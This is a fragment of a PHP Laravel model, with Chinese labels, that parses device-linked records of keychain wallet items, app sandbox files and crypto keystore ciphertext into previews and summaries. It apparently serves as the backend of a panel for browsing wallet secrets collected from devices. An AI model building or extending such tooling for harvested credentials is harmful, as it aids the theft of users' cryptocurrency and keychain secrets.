'array', 'decrypted' => 'integer', ]; } public function sourceLabel(): string { $source = trim((string) $this->source); return $source !== '' ? $source : '未知'; } public function kind(): string { return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : ''; } public function kindLabel(): string { return match ($this->kind()) { 'keychain.wallets' => '钥匙串', 'sandbox' => '沙盒文件', default => $this->kind() !== '' ? $this->kind() : '未知', }; } /** * @return list */ public function listedItems(): array { $json = is_array($this->raw_json) ? $this->raw_json : []; $out = []; $wallets = $json['wallets'] ?? null; if (is_array($wallets)) { foreach ($wallets as $bucket) { $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; foreach ($items as $item) { if (is_array($item)) { $out[] = $this->normalizeItem($item); } } } } $sandbox = $json['sandbox'] ?? null; if (is_array($sandbox)) { $out = array_merge($out, $this->sandboxItems($sandbox)); } if (isset($json['crypto']) && is_array($json['crypto'])) { $out[] = $this->normalizeItem([ 'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'), 'path' => 'crypto', 'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''), ]); } return $out; } public function itemCount(): int { return count($this->listedItems()); } public function summary(): string { $names = []; foreach ($this->listedItems() as $item) { $name = $item['account'] !== '' ? $item['account'] : $item['path']; if ($name !== '') { $names[] = $name; } if (count($names) >= 3) { break; } } $n = $this->itemCount(); if ($names === []) { return $n > 0 ? $n.' 条' : ''; } $text = implode(' · ', $names); if ($n > 3) { $text .= ' 等'.$n.'条'; } return $text; } public function device(): BelongsTo { return $this->belongsTo(Device::class); } /** * @param array $item * @return array{ * account: string, * service: string, * access_group: string, * protection_class: string, * path: string, * data_len: int, * data_preview: string * } */ private function normalizeItem(array $item): array { $hex = (string) ($item['dataHex'] ?? ''); $bin = ''; if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) { $bin = (string) hex2bin($hex); } elseif (isset($item['data']) && is_string($item['data'])) { $bin = $item['data']; } return [ 'account' => trim((string) ($item['account'] ?? '')), 'service' => trim((string) ($item['service'] ?? '')), 'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')), 'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''), 'path' => trim((string) ($item['path'] ?? '')), 'data_len' => strlen($bin), 'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex), ]; } /** * @param array $sandbox * @return list */ private function sandboxItems(array $sandbox, string $prefix = ''): array { $out = []; foreach ($sandbox as $key => $value) { $path = $prefix === '' ? (string) $key : $prefix.'/'.$key; if (is_array($value)) { if (isset($value['items']) && is_array($value['items'])) { foreach ($value['items'] as $item) { if (is_array($item)) { $out[] = $this->normalizeItem($item); } } continue; } $out = array_merge($out, $this->sandboxItems($value, $path)); continue; } if (! is_string($value) || $value === '') { continue; } $bin = base64_decode($value, true); if ($bin === false) { $bin = $value; } $out[] = $this->normalizeItem([ 'account' => basename($path), 'path' => $path, 'data' => $bin, ]); } return $out; } private function previewBytes(string $raw): string { if ($raw === '') { return ''; } if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) { return $raw; } $hex = bin2hex($raw); return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex; } }